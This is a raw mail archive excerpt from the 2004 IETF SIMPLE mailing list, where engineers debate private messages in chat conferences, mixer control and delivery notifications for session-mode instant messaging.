Received: from cisco.com (tokyo-vpn-user16.cisco.com [10.70.82.16])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL12974;
	Tue, 2 Mar 2004 00:44:08 -0500 (EST)
Message-ID: <40441F25.3030200@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
CC: "ext Rosen, Brian" <Brian.Rosen@marconi.com>,
        ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Markus.Isomaki@nokia.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B6484@whq-msgusr-02.pit.comms.marconi.com> <40441B1B.6080109@nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 00:44:05 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Niemi Aki (Nokia-M/Espoo) wrote:
> 
> Of course you can't do private messages with voice. Voice and IM are 
> inherently different. You can't send private voice packets to another 
> participant of a conference, simply because there isn't a way to single 
> out a participant in a conference by directly addressing packets there. 
> It also makes mixing really complicated, because a private voice stream 
> might overlap with the rest of the conference. These don't present a 
> problem for IM; the sender can single out the recipient using the cpim 
> To header field and the recipient UA can simply mark a message as 
> private and render it to the same UI as the rest of the IMs in that 
> conference.

So generically it seems that what you are requesting is a way to send 
mixer control instructions in the media stream. (Ignore the normal 
mixing rules for this message. Instead, send it to the following 
participants.) And apparently you also require some annotation of the 
delivered message, indicating what sort of mixing was applied to it, so 
it can be displayed with appropriate annotation.

Do I have that right? I'm not sure this is a good idea, but neither am I 
sure it is a bad idea.

> Just because voice as a media has this limitation, are we supposed to 
> suppress features available in other medias? I don't think so.

Well, I guess that is the advantage of being involved in the definition 
of the media stream. But if it catches on, maybe somebody will want to 
change RTP to support this.


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 00:57:09 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04303
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 00:57:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2ty-0001d3-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:57:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2sz-0001V9-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:56:09 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2s2-0001PO-00; Tue, 02 Mar 2004 00:55:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2s0-0002Ny-It; Tue, 02 Mar 2004 00:55:08 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2rD-0002KJ-B7
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:54:19 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04251
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:54:15 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2rA-0001JU-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:54:16 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2qB-0001De-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:53:16 -0500
Received: from goalie.snowshore.com ([216.57.133.4] helo=webshield.office.snowshore.com)
	by ietf-mx with smtp (Exim 4.12)
	id 1Ay2pa-00015f-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:52:38 -0500
Received: from zoe.office.snowshore.com(192.168.1.172) by webshield.office.snowshore.com via csmap 
	 id 28890; Tue, 02 Mar 2004 00:52:07 -0500 (EST)
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: Advanced IM requirements
Message-ID: <4A3384433CE2AB46A63468CB207E209DB1A236@zoe.office.snowshore.com>
Thread-Topic: [Simple] RE: Advanced IM requirements
Thread-Index: AcQAFjcJ3Xi5tlvRTruUmcccN0AjUQAAmxrA
From: "Eric Burger" <eburger@snowshore.com>
To: "Paul Kyzivat" <pkyzivat@cisco.com>
Cc: <simple@ietf.org>
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 00:49:53 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable

You didn't misinterpret me; I was just a bit daft :-)

My assertion was that if you are in a session, you are probably being =
interactive.  There is no reason to prohibit the notification, but I =
still doubt it will ever be used.

> -----Original Message-----
> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent: Tuesday, March 02, 2004 12:21 AM
[snip]
> > Am I off-base in thinking the transport mode (stream v.=20
> one-shot) is independent of the notification?
>=20
> The reason I posted this message was that in a prior message=20
> you seemed=20
> to be suggesting that delivery notification might not be required for=20
> session mode messages.
>=20
> I too think that the mode (page/session) used for delivery=20
> notifications=20
> is independent of the mode used for the message being confirmed.
>=20
> 	Paul
[snip]


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 00:57:45 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04369
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 00:57:44 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2u4-0002g0-Jh
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 00:57:17 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i225vGiJ010268
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 00:57:16 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2u2-0002fW-HP
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 00:57:14 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04321
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 00:57:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2tz-0001d8-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:57:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2sz-0001VH-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:56:10 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2s2-0001PO-00; Tue, 02 Mar 2004 00:55:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2s0-0002Ny-It; Tue, 02 Mar 2004 00:55:08 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2rD-0002KJ-B7
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:54:19 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04251
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:54:15 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2rA-0001JU-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:54:16 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2qB-0001De-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:53:16 -0500
Received: from goalie.snowshore.com ([216.57.133.4] helo=webshield.office.snowshore.com)
	by ietf-mx with smtp (Exim 4.12)
	id 1Ay2pa-00015f-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:52:38 -0500
Received: from zoe.office.snowshore.com(192.168.1.172) by webshield.office.snowshore.com via csmap 
	 id 28890; Tue, 02 Mar 2004 00:52:07 -0500 (EST)
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: Advanced IM requirements
Message-ID: <4A3384433CE2AB46A63468CB207E209DB1A236@zoe.office.snowshore.com>
Thread-Topic: [Simple] RE: Advanced IM requirements
Thread-Index: AcQAFjcJ3Xi5tlvRTruUmcccN0AjUQAAmxrA
From: "Eric Burger" <eburger@snowshore.com>
To: "Paul Kyzivat" <pkyzivat@cisco.com>
Cc: <simple@ietf.org>
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 00:49:53 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

You didn't misinterpret me; I was just a bit daft :-)

My assertion was that if you are in a session, you are probably being =
interactive.  There is no reason to prohibit the notification, but I =
still doubt it will ever be used.

> -----Original Message-----
> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent: Tuesday, March 02, 2004 12:21 AM
[snip]
> > Am I off-base in thinking the transport mode (stream v.=20
> one-shot) is independent of the notification?
>=20
> The reason I posted this message was that in a prior message=20
> you seemed=20
> to be suggesting that delivery notification might not be required for=20
> session mode messages.
>=20
> I too think that the mode (page/session) used for delivery=20
> notifications=20
> is independent of the mode used for the message being confirmed.
>=20
> 	Paul
[snip]


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 01:17:22 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05245
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 01:17:21 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3DU-00049S-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 01:17:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3CU-00041v-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 01:16:19 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3CF-0003wE-00; Tue, 02 Mar 2004 01:16:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3CD-0005SL-Pi; Tue, 02 Mar 2004 01:16:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3BY-0005PO-04
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 01:15:20 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05184
	for <simple@ietf.org>; Tue, 2 Mar 2004 01:15:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3BV-0003v0-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:15:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3Ac-0003pG-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:14:23 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay39h-0003iq-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:13:25 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226DH002026;
	Tue, 2 Mar 2004 08:13:17 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 08:12:31 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i226CVUb001936;
	Tue, 2 Mar 2004 08:12:31 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00qKhRhJ; Tue, 02 Mar 2004 08:12:29 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226CS724194;
	Tue, 2 Mar 2004 08:12:28 +0200 (EET)
Received: from nokia.com ([10.162.252.246]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 08:12:27 +0200
Message-ID: <404425C9.600@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Paul Kyzivat <pkyzivat@cisco.com>
CC: "ext Rosen, Brian" <Brian.Rosen@marconi.com>,
        ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Markus.Isomaki@nokia.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B6484@whq-msgusr-02.pit.comms.marconi.com> <40441B1B.6080109@nokia.com> <40441F25.3030200@cisco.com>
In-Reply-To: <40441F25.3030200@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 02 Mar 2004 06:12:27.0892 (UTC) FILETIME=[56867340:01C4001D]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 08:12:25 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



ext Paul Kyzivat wrote:
> 
> 
> Niemi Aki (Nokia-M/Espoo) wrote:
> 
>>
>> Of course you can't do private messages with voice. Voice and IM are 
>> inherently different. You can't send private voice packets to another 
>> participant of a conference, simply because there isn't a way to 
>> single out a participant in a conference by directly addressing 
>> packets there. It also makes mixing really complicated, because a 
>> private voice stream might overlap with the rest of the conference. 
>> These don't present a problem for IM; the sender can single out the 
>> recipient using the cpim To header field and the recipient UA can 
>> simply mark a message as private and render it to the same UI as the 
>> rest of the IMs in that conference.
> 
> 
> So generically it seems that what you are requesting is a way to send 
> mixer control instructions in the media stream. (Ignore the normal 
> mixing rules for this message. Instead, send it to the following 
> participants.) And apparently you also require some annotation of the 
> delivered message, indicating what sort of mixing was applied to it, so 
> it can be displayed with appropriate annotation.

Exactly.

It also occured to me that it ought to be possible to negotiate the 
support for doing this sort of thing when joining the conference. What 
we don't want happening is that the UA expects to be able to control the 
mixing, but the mixer ignores it. In chat, that would result in a 
private message being seen by all participants - definitely not a good 
thing to have happen.

> Do I have that right? I'm not sure this is a good idea, but neither am I 
> sure it is a bad idea.

I think what determines whether it is a good idea or a bad idea greatly 
depends on the media type. For some, like IM, it makes more sense than 
to others.

>> Just because voice as a media has this limitation, are we supposed to 
>> suppress features available in other medias? I don't think so.
> 
> 
> Well, I guess that is the advantage of being involved in the definition 
> of the media stream. But if it catches on, maybe somebody will want to 
> change RTP to support this.

Right, it could be possible.

Cheers,
Aki

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 01:17:53 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05284
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 01:17:53 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3DY-0005yz-Qk
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 01:17:25 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i226HO5o022983
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 01:17:24 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3DY-0005yM-KR
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 01:17:24 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05261
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 01:17:22 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3DV-00049X-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 01:17:21 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3CV-000423-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 01:16:20 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3CF-0003wE-00; Tue, 02 Mar 2004 01:16:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3CD-0005SL-Pi; Tue, 02 Mar 2004 01:16:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3BY-0005PO-04
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 01:15:20 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05184
	for <simple@ietf.org>; Tue, 2 Mar 2004 01:15:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3BV-0003v0-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:15:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3Ac-0003pG-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:14:23 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay39h-0003iq-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:13:25 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226DH002026;
	Tue, 2 Mar 2004 08:13:17 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 08:12:31 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i226CVUb001936;
	Tue, 2 Mar 2004 08:12:31 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00qKhRhJ; Tue, 02 Mar 2004 08:12:29 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226CS724194;
	Tue, 2 Mar 2004 08:12:28 +0200 (EET)
Received: from nokia.com ([10.162.252.246]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 08:12:27 +0200
Message-ID: <404425C9.600@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Paul Kyzivat <pkyzivat@cisco.com>
CC: "ext Rosen, Brian" <Brian.Rosen@marconi.com>,
        ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Markus.Isomaki@nokia.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B6484@whq-msgusr-02.pit.comms.marconi.com> <40441B1B.6080109@nokia.com> <40441F25.3030200@cisco.com>
In-Reply-To: <40441F25.3030200@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 02 Mar 2004 06:12:27.0892 (UTC) FILETIME=[56867340:01C4001D]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 08:12:25 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



ext Paul Kyzivat wrote:
> 
> 
> Niemi Aki (Nokia-M/Espoo) wrote:
> 
>>
>> Of course you can't do private messages with voice. Voice and IM are 
>> inherently different. You can't send private voice packets to another 
>> participant of a conference, simply because there isn't a way to 
>> single out a participant in a conference by directly addressing 
>> packets there. It also makes mixing really complicated, because a 
>> private voice stream might overlap with the rest of the conference. 
>> These don't present a problem for IM; the sender can single out the 
>> recipient using the cpim To header field and the recipient UA can 
>> simply mark a message as private and render it to the same UI as the 
>> rest of the IMs in that conference.
> 
> 
> So generically it seems that what you are requesting is a way to send 
> mixer control instructions in the media stream. (Ignore the normal 
> mixing rules for this message. Instead, send it to the following 
> participants.) And apparently you also require some annotation of the 
> delivered message, indicating what sort of mixing was applied to it, so 
> it can be displayed with appropriate annotation.

Exactly.

It also occured to me that it ought to be possible to negotiate the 
support for doing this sort of thing when joining the conference. What 
we don't want happening is that the UA expects to be able to control the 
mixing, but the mixer ignores it. In chat, that would result in a 
private message being seen by all participants - definitely not a good 
thing to have happen.

> Do I have that right? I'm not sure this is a good idea, but neither am I 
> sure it is a bad idea.

I think what determines whether it is a good idea or a bad idea greatly 
depends on the media type. For some, like IM, it makes more sense than 
to others.

>> Just because voice as a media has this limitation, are we supposed to 
>> suppress features available in other medias? I don't think so.
> 
> 
> Well, I guess that is the advantage of being involved in the definition 
> of the media stream. But if it catches on, maybe somebody will want to 
> change RTP to support this.

Right, it could be possible.

Cheers,
Aki

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 01:18:51 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05398
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 01:18:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3Ew-0004Nm-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 01:18:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3Dl-0004CE-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 01:17:38 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3D9-00043I-00; Tue, 02 Mar 2004 01:16:59 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3DB-0005lc-Cp; Tue, 02 Mar 2004 01:17:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3CS-0005XA-9B
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 01:16:16 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05196
	for <simple@ietf.org>; Tue, 2 Mar 2004 01:16:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3CP-000412-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:16:13 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3BY-0003vV-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:15:20 -0500
Received: from mailgate.pit.comms.marconi.com ([169.144.68.6])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3B8-0003pb-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:14:54 -0500
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.12.10+Sun/8.12.10) with ESMTP id i226ECaZ029492;
	Tue, 2 Mar 2004 01:14:12 -0500 (EST)
